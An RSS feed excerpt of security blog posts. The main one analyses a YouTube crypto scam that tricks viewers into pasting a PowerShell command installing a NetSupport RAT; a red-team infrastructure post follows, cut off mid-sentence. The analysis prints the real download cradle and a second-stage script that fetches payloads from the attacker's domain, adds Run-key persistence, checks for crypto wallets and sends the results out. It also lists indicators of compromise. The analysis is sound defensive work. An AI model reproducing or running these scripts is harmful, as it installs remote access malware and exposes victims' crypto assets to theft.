href="https://medium.com/@0x0vid/re-creating-the-snake-rootkit-part-007-rootkit-installation-232f49332f78">https://medium.com/@0x0vid/re-creating-the-snake-rootkit-part-007-rootkit-installation-232f49332f78</a></li><li><strong>002 — Re-creating the Snake Rootkit Part 003: Implementing Covert Communication Using The Windows Filtering Platform (WFP) — </strong><a href="https://medium.com/@0x0vid/re-creating-the-snake-malware-part-003-implementing-covert-communication-using-ustart-0c45c785dd91">https://medium.com/@0x0vid/re-creating-the-snake-malware-part-003-implementing-covert-communication-using-ustart-0c45c785dd91</a></li><li><strong>003 — Re-creating the Snake Rootkit Part 004: KAPC Injection and Windows API Hooking to Hide Processes</strong> <a href="https://medium.com/@0x0vid/re-creating-the-snake-malware-part-004-kapc-injection-and-windows-api-hooking-to-hide-processes-468d5783e6ba">https://medium.com/@0x0vid/re-creating-the-snake-malware-part-004-kapc-injection-and-windows-api-hooking-to-hide-processes-468d5783e6ba</a></li><li><strong>004 </strong>— <a href="https://github.com/t3l3machus/hoaxshell">https://github.com/t3l3machus/hoaxshell</a></li><li><strong>005 — How to Build Your Own Custom C2 Framework — </strong><a href="https://medium.com/@0x0vid/how-to-build-your-own-custom-c2-framework-b33b569f0987">https://medium.com/@0x0vid/how-to-build-your-own-custom-c2-framework-b33b569f0987</a></li><li><strong>006 — C2 Communication Using DNS — </strong><a href="https://medium.com/@0x0vid/creating-a-dns-c2-server-and-agent-26fb8d556dc0">https://medium.com/@0x0vid/creating-a-dns-c2-server-and-agent-26fb8d556dc0</a></li><li><strong>007 </strong>— <a href="https://www.beercss.com/">https://www.beercss.com/</a></li><li><strong>008 </strong>— <a href="https://github.com/cobbr/Covenant/wiki/Bridge-Listeners">https://github.com/cobbr/Covenant/wiki/Bridge-Listeners</a></li><li><strong>009 </strong>— <a href="https://github.com/cobbr/Covenant/wiki/Building-Tasks">https://github.com/cobbr/Covenant/wiki/Building-Tasks</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=23acf19ce78d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SCAM002: Another day, another crypto scam: Installing a RAT]]></title>
            <link>https://medium.com/@0x0vid/another-day-another-crypto-scam-installing-a-rat-1f6dbbddeb43?source=rss-ff32b62d4ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f6dbbddeb43</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[fraud-detection]]></category>
            <category><![CDATA[fraud]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[crypto]]></category>
            <dc:creator><![CDATA[0x0vid]]></dc:creator>
            <pubDate>Wed, 01 Jan 2025 22:42:02 GMT</pubDate>
            <atom:updated>2025-10-19T21:13:52.535Z</atom:updated>
            <content:encoded><![CDATA[<p>Crypto scam using the promise of AI trading to get users to install a RAT</p><p>In todays blog post we will be looking into a youtube video and channel I stumbled accross recently. The videos on the channel all advertise the use of integrated AI trading post for predictions of market movements. The videos target the trading app Trading View. The video then has the users run some PowerShell code to install a Remote Access Tool (RAT) on the system. With that out of the way lets get started!</p><h3>— [ 0x0 — Table of Contents</h3><pre>-[ 0x0 - Table of Contents<br>-[ 0x1 - The Video<br>-[ 0x2 - The code to enter &quot;developer&quot; mode<br>-[ 0x3 - Looking at the files<br>--[ 0x3.1 - zz.exe: Renamed 7-zip<br>--[ 0x3.2 - Looking at the command line<br>--[ 0x3.3 - Client32.exe: NetSupport client application<br>--[ 0x3.3 - Client32.ini: Configuration file<br>-[ 0x4 - Emulating c2 infrastructure<br>-[ 0x5 - Capabilities<br>-[ 0x6 - Conclusion<br>-[ 0x7 - IOCs<br>-[ 0x8 - MITRE ATT&amp;CK<br>--[ 0x8.1 - Reconnaissance<br>--[ 0x8.2 - Initial Access<br>--[ 0x8.3 - Execution<br>--[ 0x8.4 - Persistence<br>-[ 0x9 - References</pre><h3>— [ 0x1 — The Video</h3><p>As I was, sitting on YouTube scrolling away looking for quality entertainment. A video caught my attention <a href="https://www.youtube.com/watch?v=XlfWv4GXqJw&amp;ab_channel=ThomasHarris">“How to Research the Crypto Market Using AI Charts | Step-by-Step Guide” [001]</a>. AI + Crypto, sounds interesting! Furthermore, the video has clear signs of being AI generated (althoug I gotta admit, they are getting better): the gestures are overly exagorated, proportins are slightly off, and in general the vibe is just off.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pwgeBw5FnfwSW2Y-o_xjDg.png" /><figcaption>How to Research the Crypto Market Using AI Charts | Step-by/Step Guide</figcaption></figure><p>And we dont need to wait very long before striking gold! Not even two minutes in the video has us running a copy and paste command in CMD. Running arbitrary code from the internet in CMD, what could go wrong!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ILFlXisurihTZFRdKgWSXQ.png" /><figcaption>Running commands from the internet on your computer is a bad idea</figcaption></figure><p>The video tells us that this command is needed for us to enter “developer mode” in trading view. In the description of the video they helpfully provide a link for the code we need to past into the command line.</p><pre>https://pasteco.com/t8yc80yb</pre><p>The link leeds to a pastebin like website where a PowerShell download cradle is waiting for us. But before we proceed with this part, lets jsut have a short look at the YouTube channel. <a href="https://www.youtube.com/@Thomas_Harris_Us">Looking at the channel we see a bunch more of the same types of videos [002]</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8PYVUhFlU63f4YayEekvDg.png" /><figcaption>Scam youtube channel with more of the same videos</figcaption></figure><p>I have noticed that these channels often has a single vector of attack and then a bunch of the same AI generated videos lureing in victems into the specific scam. See my last post on the subject on a simplified version where victims are just lured into running code that sends crypto directly to the attacker:</p><p><a href="https://medium.com/@0x0vid/anatomy-of-a-crypto-scam-chatgpt-eth-sniper-bot-4bb8c6e054ab">Anatomy of a crypto scam: ChatGPT Eth sniper bot</a></p><h3>— [ 0x2 — The code to enter “developer” mode</h3><p>Now back to the code provided by the YouTube channel.</p><p>When accessing the provided link, we are greated with the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*naWbvDc8a8juEIzGwjETYg.png" /></figure><pre>powershell -Command &quot;$TradingView=&#39;TPS&#39;; $version=&#39;3.1.1_Beta_AI&#39;; $update=&#39;//charts&#39;; $developer=&#39;ht&#39;+$TradingView+&#39;:&#39;+$update+&#39;-beta.&#39;+&#39;dev&#39;; $ux=&#39;TradingView&#39;; $Response=Invoke-WebRequest -Uri $developer -UseBasicParsing -UserAgent $ux; $Script=[System.Text.Encoding]::UTF8.GetString($Response.Content); IEX $Script&quot;</pre><p>If you do HTB or pen-testing you don&#39;t need to look at the code too long before noticing the download cradle. Recognised by the “Invoke-WebRequest” and followed by “IEX”. A download cradle is some code that retrives a script from the internet and then executes it in memory, it is often used in cyber security to execute tools in memory using PowerShell.</p><p>Unravelling the URL in the cradle and navigating to it in a browser simply gives us a 404.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*vl1qwTEZRH96Oq-2YatEIw.png" /><figcaption>Malicious link from download cradle</figcaption></figure><p>Further looking at the download cradle we see that a custom user agent is required, this is likely to hinder investigations and automated scraping. Now if we change the user agent we are able to get the txt file of the application being executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*1XKM-1DkbfpmLqmAJnVAqA.png" /><figcaption>Script being downloaded</figcaption></figure><p>Full script (990.txt):</p><pre>Invoke-WebRequest -Uri &#39;https://charts-beta.dev/x7.vue&#39; -OutFile &quot;$env:AppData\7z.dll&quot; -Headers @{ &#39;User-Agent&#39; = &#39;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36&#39; }<br>Invoke-WebRequest -Uri &#39;https://charts-beta.dev/xbe.vue&#39; -OutFile &quot;$env:AppData\b.vue&quot; -Headers @{ &#39;User-Agent&#39; = &#39;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36&#39; }<br>Invoke-WebRequest -Uri &#39;https://charts-beta.dev/xz.vue&#39; -OutFile &quot;$env:AppData\zz.exe&quot; -Headers @{ &#39;User-Agent&#39; = &#39;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36&#39; }<br><br>Set-Location &quot;$env:AppData&quot;<br>&amp; &quot;.\zz.exe&quot; x b.vue -pkek -aoa -y &gt; $null 2&gt;&amp;1<br>Set-Location &quot;$env:AppData\Ns&quot;<br><br>Start-Sleep -Seconds 4<br>Start-Process &quot;client32.exe&quot;<br><br>$pathToExecutable = &quot;$env:APPDATA\Ns\client32.exe&quot;<br>Set-ItemProperty -Path &#39;HKCU:\Software\Microsoft\Windows\CurrentVersion\Run&#39; -Name &#39;KsPort&#39; -Value $pathToExecutable<br><br><br>Remove-Item -Path &quot;$env:AppData\7z.dll&quot; -Force<br>Remove-Item -Path &quot;$env:AppData\b.vue&quot; -Force<br>Remove-Item -Path &quot;$env:AppData\zz.exe&quot; -Force<br><br>Start-Sleep -Seconds 2<br><br>$yyx = $env:COMPUTERNAME<br>$filePath1 = &quot;$env:APPDATA\Ns\client32.exe&quot;<br>$filePath2 = &quot;$env:APPDATA\Ns\client32.ini&quot;<br><br>if ((Test-Path $filePath1) -and (Test-Path $filePath2)) {<br>    $yyxy = &quot;OK&quot;<br>} else {<br>    $yyxy = &quot;Fail&quot;<br>}<br><br>$targetFoldersAppData = @(&quot;Ledger Live&quot;, &quot;@trezor&quot;, &quot;Exodus&quot;)<br>$targetFoldersProgramFiles = @(&quot;WasabiWallet&quot;, &quot;BitBox&quot;)<br>$detectedFolders = @()<br><br>foreach ($folder in $targetFoldersAppData) {<br>    if (Test-Path &quot;$env:APPDATA\$folder&quot;) {<br>        $detectedFolders += $folder<br>    }<br>}<br><br>$programFilesPath = &quot;C:\Program Files&quot;<br>foreach ($folder in $targetFoldersProgramFiles) {<br>    if (Test-Path &quot;$programFilesPath\$folder&quot;) {<br>        $detectedFolders += $folder<br>    }<br>}<br><br>$folderOutput = $detectedFolders -join &quot; + &quot;<br>if ($folderOutput -ne &quot;&quot;) { $folderOutput += &quot;+&quot; }<br><br>$requestBody = @{<br>    &#39;computerName&#39; = $yyx<br>    &#39;folderStatus&#39; = if ($detectedFolders.Count -gt 0) { &quot;+&quot; } else { &quot;-&quot; }<br>    &#39;detectedFolders&#39; = $folderOutput<br>}<br><br>Invoke-RestMethod -Uri &#39;https://charts-beta.dev/info2.php&#39; -Method POST -Body $requestBody -Headers @{ &#39;User-Agent&#39; = &#39;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36&#39; }<br><br>Write-Host &quot;Error: AI Beta is currently closed due to high participant volume.&quot; -ForegroundColor Red</pre><p>We dont need to look for long in the script before we find code with malicious intentinfact the first three lines are more than enough.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rMfNTE_I7oBSF80iE4aYwA.png" /><figcaption>Script downloading various files</figcaption></figure><p>We are off to a great start three different files getting downloaded from the malicious domain. Next the files are executed, first, zz.exe and then I presume that client32.exe is created by this app and then is executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*5FULIGeyPh1kiD56HnJ1Jw.png" /><figcaption>Create and execute client32.exe</figcaption></figure><p>Next persistence is established via the “run” folder and the “client32.exe” application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_9r2UMvPLygBWLU1oQz3Ww.png" /><figcaption>Establishing persistence</figcaption></figure><p>Now that we have persistence, they remove the previous applications as they are likely no longer needed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*a7wcz--0C0yDUUW61pRHKQ.png" /><figcaption>Remove evidence</figcaption></figure><p>Now the script creates sevreal variables which are used to store system informaiton and check for successfull installation of the RAT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*cpwKe5TL5y3mOoPJVRka8w.png" /><figcaption>Check for successfull installation</figcaption></figure><p>The script then proceeds to gather further information, this time it looks for the precense of different crypto wallets on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*Qg3T92YukRvk4bkV81tgJg.png" /><figcaption>Enumerating crypto wallets</figcaption></figure><p>The walets it looks for are:</p><ul><li>Ledger Live — Crypto portofolio mangement app.</li><li><a href="https://trezor.io/?srsltid=AfmBOoryU9wF0--ZzI22tEtNheVwoQuHLopRLb4NAfG4IVkuwuMSuUoa">@trezor — hardware crypto walet [003]</a>.</li><li><a href="https://www.exodus.com/">Exodus — Crypto and bit coin wallet [004]</a>.</li><li><a href="https://wasabiwallet.io/">WasabiWallet — another coin wallet, this neccitates storing your keys with the wallet, thus if an attacker gains access to the app they gain full contorl of the assets therein [005]</a>.</li><li><a href="https://bitbox.swiss/">BitBox — Hardware crypto wallet [006].</a></li></ul><p>The sellection of apps above seems to target people who is heavily pre invested in crypto with hardware wallets likely used. Running the checks in a VM we see that this part of the script does a nice job of triaging the victims machine for further operations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wl_zI3IYn3vqoMSaEBuvfA.png" /><figcaption>Results of enumeration on VM</figcaption></figure><p>Then it looks like the results of the operation is reported back to the operators using the variables identified eralier via a POST request.</p><p>And then perhaps the most clever part, when the script is done in the video it just messages the user and says installation successful. The ingenious part here is that it just prints an erorr message. So a victim is likely not going to have the technicall skills to know that they were just compromised and then assume that everything is fine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UYayVebS9eCxBIlY4yxOfQ.png" /><figcaption>Send POST request and print error message</figcaption></figure><blockquote>Write-Host “Error: AI Beta is currently closed due to high participant volume.” -ForegroundColor Red</blockquote><p>So when the victims do not see anything appearing in the trading app then it is just because there is no room in the beta not because there is no AI help or that they got compromised.</p><p>Now let&#39;s look at the downloaded files (in a VM of course), again the download cradles are using custom user agents. To download these the authors helpfully just wrote the download commands in plain PowerShell, so lets modify these to get the files.</p><pre>Invoke-WebRequest -Uri &#39;https://charts-beta.dev/x7.vue&#39; -OutFile &quot;.\7z.dll&quot; -Headers @{ &#39;User-Agent&#39; = &#39;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36&#39; }<br>Invoke-WebRequest -Uri &#39;https://charts-beta.dev/xbe.vue&#39; -OutFile &quot;.\b.vue&quot; -Headers @{ &#39;User-Agent&#39; = &#39;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36&#39; }<br>Invoke-WebRequest -Uri &#39;https://charts-beta.dev/xz.vue&#39; -OutFile &quot;.\zz.exe&quot; -Headers @{ &#39;User-Agent&#39; = &#39;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36&#39; }</pre><h3>— [ 0x3 — Looking at the files</h3><p>Before we start looking at the files themselves lets look at the command line for running them. With the knowledge of going through the script we know that execution starts with the following line:</p><pre>&amp; &quot;.\zz.exe&quot; x b.vue -pkek -aoa -y &gt; $null 2&gt;&amp;1</pre><p>Going off of that lets start by looking at zz.exe.</p><h4>— — [ 0x3.1 — zz.exe: Renamed 7-zip</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*s2MVg7OoIZ8tAoyTUbIp4g.png" /><figcaption>CFF Explorer on zz.exe</figcaption></figure><p>So that did not take long, this looks like just a renamed version of 7 zip, checking the hash on virustotal confirms this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eNAXqcIm3kCba0FyafKcCA.png" /><figcaption>Virustotal hash lookup</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*8rC50OyQSNIBYeRPTttJdw.png" /><figcaption>Virustotal signature lookup</figcaption></figure><p>This is furthermore confirmed by the accompanying dll “7z.dll”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*k6qid4-aY54XfzPSfAeIFQ.png" /><figcaption>7-zip dll</figcaption></figure><h4>b.vue: 7-zip archive</h4><p>This does look an awful lot like a zip file, which we can see by the magic bytes at the start of the file <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">[007]</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*YEfpqNwbl0EtD2s1NtKxHQ.png" /><figcaption>7zip magic bytes</figcaption></figure><h4>— — [ 0x3.2 — Looking at the command line</h4><p>Since we are dealing with a well-known piece of software let&#39;s just look at the documentation to figure out what going on <a href="https://www.dotnetperls.com/7-zip-examples">[008]</a>.</p><p>Again the command line was:</p><pre>&amp; &quot;.\zz.exe&quot; x b.vue -pkek -aoa -y &gt; $null 2&gt;&amp;1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*Zxt2LnCRf52YPn45HTNfJw.png" /><figcaption>Snippit from the official documentation</figcaption></figure><p>Lets go throught the command line and its arguments:</p><ul><li>“x” is just for extracting the archive “b.vue”</li><li>“-p” indicates that file is password protected and that the password is “kek” … very internet</li><li>7-zip is then set to overwrite mode, meaning that any exsisting files will be replaced</li><li>Lastly the ULA accepted</li></ul><p>So to unpack it we just use the command line provided. This creates a folder called “Ns” like the one referenced in the script, in this folder there are a lot of files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*Ts5cQtQp9FpSwLWcBa0NmA.png" /><figcaption>Extracted files</figcaption></figure><p>Let&#39;s start by looking at client32.exe since we know that the program is executed next.</p><h4>— — [ 0x3.3 — Client32.exe: NetSupport client application</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*UnS4tIIY6xM_zL_O1JzhyA.png" /><figcaption>CFF Explorer for client32.exe</figcaption></figure><p>This does look an awful lot like “NetSuooport Client Application” a tool for “remote tech support”. It looks like the authors are using a legit tool for nefarious purposes. From their official web page the tool can do the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*rQ00La7DZTIQGV-AS8nq2A.png" /><figcaption>Client32.exe description</figcaption></figure><p>The above description does look like a nice fit for having persistent access to a remote host. It probably helps that you can sign up for the tool for free on the website and recive a free trial copy.</p><h4>— — [ 0x3.3 — Client32.ini: Configuration file</h4><p>Lastly lets have a look at teh configuration file for the RAT. We here see that sevreal call back domains are mentioned. Along with the password for the agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*54OCRYEEkiUaZ6ohtxliaQ.png" /><figcaption>Agent config gile</figcaption></figure><h3>— [ 0x4 — Emulating c2 infrastructure</h3><p>Now that we know what gets downloaded, how its run and got a general idea of its purpose. Lets take a look at the infrastructure of the authors.</p><p>First looking at the certificates, this did not provide any more information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jLCI4pUrgUNXvy8S6tZDxw.png" /><figcaption>crt.sh</figcaption></figure><p>Next a port scan of charts-beta.dev and the other domains did not reveal anything new. It looks like its just some very simple infrastructure with either a proxy for the NetSupport manager or the app itself hosted behind some cloudflare fronting. Scan of charts-beta.dev:</p><pre>PORT     STATE SERVICE  VERSION<br>80/tcp   open  http     Cloudflare http proxy<br>|_http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8).<br>|_http-server-header: cloudflare<br>443/tcp  open  ssl/http Cloudflare http proxy<br>|_http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8).<br>| ssl-cert: Subject: commonName=charts-beta.dev<br>| Subject Alternative Name: DNS:charts-beta.dev, DNS:*.charts-beta.dev<br>| Not valid before: 2024-12-31T08:19:15<br>|_Not valid after:  2025-03-31T09:00:03<br>|_http-server-header: cloudflare<br>8080/tcp open  http     Cloudflare http proxy<br>|_http-title: Site doesn&#39;t have a title (text/plain; charset=UTF-8).<br>|_http-server-header: cloudflare</pre><p>Looking at the original request we also see the domain is hosted on cloudflare.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*m4gEngA2V4tY2Z3lqhAA0g.png" /><figcaption>Cloud flare reporting URL</figcaption></figure><p>We will save this for later when reporting the pages to cloudflare.</p><pre>{&quot;endpoints&quot;:[{&quot;url&quot;:&quot;https:\/\/a.nel.cloudflare.com\/report\/v4?s=RTW5Q8EmONSvlbzWdzwD1af5sBRDbIHHdmMO55kj7wCIaJp6dLO%2B2OS8QvRCy78HzuwILMIQYCTcdFzOlDn5IJ6VZJtyn3fCqDKOm0T6VZLvyJ0b4Ywp6nwnNC9LWS79cTs%3D&quot;}],&quot;group&quot;:&quot;cf-nel&quot;,&quot;max_age&quot;:604800}</pre><h3>— [ 0x5 — Capabilities</h3><p>To figure out what capabilities the RAT has Ijust signed up for a free trial and installed the NetSupport client and mnagament software in a VM.</p><p>After going through the installation process of NetSupport clients and the manager server <a href="https://www.netsupportmanager.com/downloads/">[009]</a> with binaries from the official page. I simply followed the provided install instructions. When completed i found a file called “client32.exe” under “C:\Program files (x86)” the file structure matched the one from the original malware.</p><p>Looking at the NetSupport client we see that it has a range of capabilities and basically allows for full system control. Since the campaign is likely targeting home computers and not coorporate assets, it is likely that the applicaiton will have admin or SYSTEM level pribvileges meaning that the hosts will be fully compromised.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*Vsypr1WyxOmR22KqPq7Cgg.png" /><figcaption>NetSupport Manager user interface</figcaption></figure><p>Fore more on the capabilities on the NetSupport software refer to the product specifications on NetSupports web page <a href="https://www.netsupportmanager.com/platforms/windows/">[010]</a>.</p><h3>— [ 0x6 — Conclusion</h3><p>In this blog post we went through a rather simple from a pure technical perspective, but still way more advanced than other crypto scams out there. Some more advanced techniques were found such as restricting website access based on user agent and using multi stage payloads. Anti detection mechanisms like the use of password protected zip files for deliver also hint at a general higher level of sophistication. Its however still far more primitive that what we regularly see used in infostealers and other malware. In the script it was apparent that obfuscation of variable names was done manually and the same seems to be the case for the downloaded files.Those points should however not take away from the likely effectiveness of attacks like these, they use off the shelf software to gain access to systems. These pieces of software are likely to go undetected by anti virus sollutions as they are legitimate software with valid certificates and are used in production around the world.</p><p>The techniques used by the authors of the crypto scam is in many ways similar to the techniques used by APT groups, but much more basic. That being said it is still great inspiration for advesary emulation of lower complexity attacks and groups.</p><p>If you have seen anything similar or have any topis like this that youd like to see a post about feel free to reach out and id love to give it a look!</p><h3>— [ 0x7 — IOCs</h3><p>Below is a list of the identified Indicators Of Compromise (IOCs) from the different scripts.</p><pre># Files<br>&quot;$env:AppData\7z.dll&quot;<br>&quot;$env:AppData\b.vue&quot;<br>&quot;$env:AppData\zz.exe&quot;<br>&quot;$env:APPDATA\Ns\client32.exe&quot;<br>&quot;$env:APPDATA\Ns\client32.ini&quot;<br><br># Hashes, SHA-1<br>CF2DA87D52A6B08A3B9502B1F6082B8B76BA4D32 - zz.exe<br>F2757C17255763F66F4FE0D9115F90F0AD9E2059 - b.vue<br>C93EEB4241F69FEA44C4D8CCDDE03F3B40A6BE3F - 7z.dll<br>8F0B8261A1EFF925A39CA117099BC8B0317C941B - client32.exe<br><br># Hives<br>&#39;HKCU:\Software\Microsoft\Windows\CurrentVersion\Run&#39; -Name &#39;KsPort&#39; -Value &quot;$env:APPDATA\Ns\client32.exe&quot;<br><br># Domains<br>charts-beta.dev<br>heavyrainclub.net<br>heavyrainclub.com<br>pasteco.com<br><br># URLs<br>https://charts-beta.dev/x7.vue<br>https://charts-beta.dev/xbe.vue<br>https://charts-beta.dev/xz.vue<br>https://charts-beta.dev/info2.php<br>https://pasteco.com/t8yc80yb<br><br># User agents<br>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36<br>TradingView</pre><h3>— [ 0x8 — MITRE ATT&amp;CK</h3><h4>— — [ 0x8.1 — Reconnaissance</h4><ul><li>T1592 — Gather Victim Host Information</li></ul><h4>— — [ 0x8.2 — Initial Access</h4><ul><li>T1189 — Drive-by Compromise</li></ul><h4>— — [ 0x8.3 — Execution</h4><ul><li>T1059 — Command and Scripting Interpreter</li><li>T1204 — User Execution</li></ul><h4>— — [ 0x8.4 — Persistence</h4><ul><li>T1547 — Boot or Logon Autostart Execution</li></ul><h3>— [ 0x9 — References</h3><ul><li>[001] — How to Research the Crypto Market Using AI Charts | Step-by-Step Guide — <a href="https://www.youtube.com/watch?v=XlfWv4GXqJw&amp;ab_channel=ThomasHarris">https://www.youtube.com/watch?v=XlfWv4GXqJw&amp;ab_channel=ThomasHarris</a></li><li>[002] — <a href="https://www.youtube.com/@Thomas_Harris_Us">https://www.youtube.com/@Thomas_Harris_Us</a></li><li>[003] — <a href="http://twitter.com/trezor">@trezor</a> — <a href="https://trezor.io/?srsltid=AfmBOoryU9wF0--ZzI22tEtNheVwoQuHLopRLb4NAfG4IVkuwuMSuUoa">https://trezor.io/?srsltid=AfmBOoryU9wF0--ZzI22tEtNheVwoQuHLopRLb4NAfG4IVkuwuMSuUoa</a></li><li>[004] — <a href="https://www.exodus.com/">https://www.exodus.com/</a></li><li>[005] — <a href="https://wasabiwallet.io/">https://wasabiwallet.io/</a></li><li>[006] — <a href="https://bitbox.swiss/">https://bitbox.swiss/</a></li><li>[007] — <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">https://en.wikipedia.org/wiki/List_of_file_signatures</a></li><li>[008] — <a href="https://www.dotnetperls.com/7-zip-examples">https://www.dotnetperls.com/7-zip-examples</a></li><li>[009] — NetSupport download — <a href="https://www.netsupportmanager.com/downloads/">https://www.netsupportmanager.com/downloads/</a></li><li>[010] — NetSupport — <a href="https://www.netsupportmanager.com/platforms/windows/">https://www.netsupportmanager.com/platforms/windows/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f6dbbddeb43" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting Up Simple Red Team Infrastructure]]></title>
            <link>https://medium.com/@0x0vid/setting-up-simple-red-team-infrastructure-cde80eb5569d?source=rss-ff32b62d4ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/cde80eb5569d</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[it-infrastructure]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[0x0vid]]></dc:creator>
            <pubDate>Mon, 16 Dec 2024 15:47:54 GMT</pubDate>
            <atom:updated>2024-12-16T15:47:54.849Z</atom:updated>
            <content:encoded><![CDATA[<h4>TL;DR: Getting stuff set up properly is quite nice</h4><p>In this blog, we will go through a basic setup for assumed breach infrastructure. The aim is not to have a fully fledged setup supporting more or less every service known to man. But rather to set up a small and easily customizable cloud VM by simply running a script.</p><p>The overall problem I&#39;m trying to solve with this setup is simple and commonplace: how do I get network access on a hardened network? this might be because the network uses 800.2x, machine certificate whitelisting, creating “hot spot” is turned off, or some other restrictions are in place.</p><h3>— [ 0x0 — What do we need it for?</h3><p>In short, I need this infrastructure to:</p><ul><li>Host files for use during engagements.</li><li>Handle C2 communications.</li><li>Forward tunnelling connections coming from <a href="https://github.com/nicocha30/ligolo-ng">ligolo-ng [001]</a> or similar tools (<a href="https://github.com/jpillora/chisel">chisel [002]</a> might be more useful here due to its use of HTTP).</li></ul><p>I want this because I&#39;m tired of setting everything up manually and having to start and stop services whenever I want to reach them. This setup is a whole more simpler than the traditional red team infrastructure setups out there. These usually include domain fronting, SNMP servers and a whole lot more services. There is a reason for that! and that is because this setup is NOT for red teaming. It&#39;s for assumed breach and general pentesting!</p><p>So in short: we want to catch incoming tunnels from ligolo and host multiple web apps on the same port.</p><h3>— [ 0x1 — Assumptions</h3><p>In general, I assume that all cloud-hosted infrastructure will be single-use only. It should also have no sensitive information hosted on the cloud assets and only serve to redirect traffic to a local host, in my case this will be a Kali VM.</p><p>Additionally, I fully expect to only be allowed to communicate over port 80 and 443 on TCP. All other ports are assumed to be either filtered or blocked in the firewall.</p><p>I furthermore, assume that you are able to execute your favorite pivot tool in the environment that you are attacking.</p><h3>— [ 0x2 — Articheture and problem solving</h3><p>That&#39;s a lot of words and desires! but how are we going to make all this come to life and how will this work?</p><p>After messing around for a couple of days I found out that there was <a href="https://serverfault.com/questions/96469/is-there-a-way-to-forward-a-port-based-on-subdomain">no way to do port forwarding based on a subdomain using only a single server (which was one of my restrictions)[003]</a>. In practice that means that we need a separate port per protocol we need to be listening. For HTTP this is pretty simple as even though we have multiple different services, we can just mimic enterprise app setups. For this, I&#39;ll use <a href="https://traefik.io/traefik/">traefik [004]</a> however something like <a href="https://nginx.org/en/">nginx [005]</a> would be just as viable. But enough about that! let&#39;s get an overview of the final product:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*Xqu6EVdGAegHxK2cTlmKgg.png" /><figcaption>Infrastructure architecture</figcaption></figure><p>In the end, the setup ended up being quite simple. Let&#39;s go through each of the parts and consider the problems that they are solving.</p><h4>— — [ 0x2.1 — How do I get a public IP? — Cloud hosting</h4><p>The first problem we run into is: how to get something that we can connect back to. Since we want local network access we therefore cannot call back to our attacking machine directly. Whether it is because our machine is on a wifi or completely remote — we can&#39;t reach it!</p><p>That is where the wonderful modern world of cloud hosting comes into the picture. Spinning up a Droplet/VM/EC2 in the cloud 